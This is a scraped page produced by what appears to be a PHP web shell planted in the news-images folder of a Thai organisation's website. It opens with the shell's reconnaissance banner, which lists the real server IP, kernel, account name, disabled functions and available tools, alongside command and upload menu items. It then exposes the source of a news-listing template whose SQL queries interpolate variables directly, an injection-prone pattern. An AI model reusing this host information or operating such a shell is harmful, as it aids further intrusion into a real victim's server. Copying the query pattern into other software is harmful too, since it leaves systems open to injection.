|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/private_html/fonts/../Connections/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<section class="ttm-row blog-section clearfix">
<div class="container" style="background-color:#1974d2;padding: 5px 0px 0px 15px;"><!-- top padding right padding bottom padding left padding -->
<div class="panel panel-default">
<div class="panel-body">
<h4><i class="fa fa-picture-o"></i> ข่าวสารประชาสัมพันธ์</h4>
<ul class="nav nav-pills mb-3" id="pills-tab" role="tablist">
<li class="nav-item">
<a class="nav-link active" id="tab1-tab" data-toggle="tab" href="#tab1" role="tab" aria-controls="tab1" aria-selected="true" style="color:#000000"><i class="fa fa-newspaper-o
"></i> ประกาศ/คำสั่ง</a>
</li>
<li class="nav-item">
<a class="nav-link" id="tab2-tab" data-toggle="tab" href="#tab2" role="tab" aria-controls="tab2" aria-selected="false" style="color:#000000"><i class="fa fa-volume-up"></i> ข่าวสารประชาสัมพันธ์</a>
</li>
</ul>
<div class="tab-content" id="myTabContent">
<div class="tab-pane fade show active" id="tab1" role="tabpanel" aria-labelledby="tab1-tab">
<!-- StartTab -->
<?php
$page_data=54;
$sql2 ="select * from link where page_data='$page_data' $Where order by budgetYear desc,linkDate desc,linkID desc limit 15";
foreach ($db->dbSearch($sql2) as $i=>$arr2) {
if(!empty($arr2[qFile]) or empty($arr2[url])){
$arr2[url]="ShowLink.php?id=$arr2[uniqid]$arr2[linkID]";
}
$arr2[linkDate]=ShowAllDate($arr2[linkDate],1); //." ".substr($arr2[linkDate],10,10);
echo <<<DOC
<a href="$arr2[url]" target="ShowNews" style="font-size: 14px;"><i class="fa fa-file-o"></i> $arr2[name] </A> <!-- [$arr2[linkDate]] --><BR>
DOC;
}
?>
<div class="col-lg-12"><BR>
<a href="NewsList02.php" target="NewsALL"><input type="button" value=" แสดงทั้งหมด " class="btn btn-secondary" style="border-radius: 25px;background-color: #007bff;border-color: #007bff;"></a>
</div>
<!-- StopTab -->
.</div>
<div class="tab-pane fade" id="tab2" role="tabpanel" aria-labelledby="tab2-tab">
<!-- StartTab -->
<?php
$page_data=47;
$sql2 ="select * from link where page_data='$page_data' $Where order by budgetYear desc,linkDate desc,linkID desc limit 15";
foreach ($db->dbSearch($sql2) as $i=>$arr2) {
if(!empty($arr2[qFile]) or empty($arr2[url])){
$arr2[url]="ShowLink.php?id=$arr2[uniqid]$arr2[linkID]";
}
$arr2[linkDate]=ShowAllDate($arr2[linkDate],1); //." ".substr($arr2[linkDate],10,10);
echo <<<DOC
<a href="$arr2[url]" target="ShowNews" style="font-size: 14px;"><i class="fa fa-file-o"></i> $arr2[name]</A> <!-- [$arr2[linkDate]] --><BR>
DOC;
}
?>
<div class="col-lg-12"><BR>
<a href="NewsList01.php" target="NewsALL"><input type="button" value=" แสดงทั้งหมด " class="btn btn-secondary" style="border-radius: 25px;background-color: #007bff;border-color: #007bff;"></a>
</div>
<!-- StopTab -->
</div>
</div><!-- myTabContent -->
</div><!-- panel-body -->
</div><!-- panel-default -->
</div><!-- container -->
</section>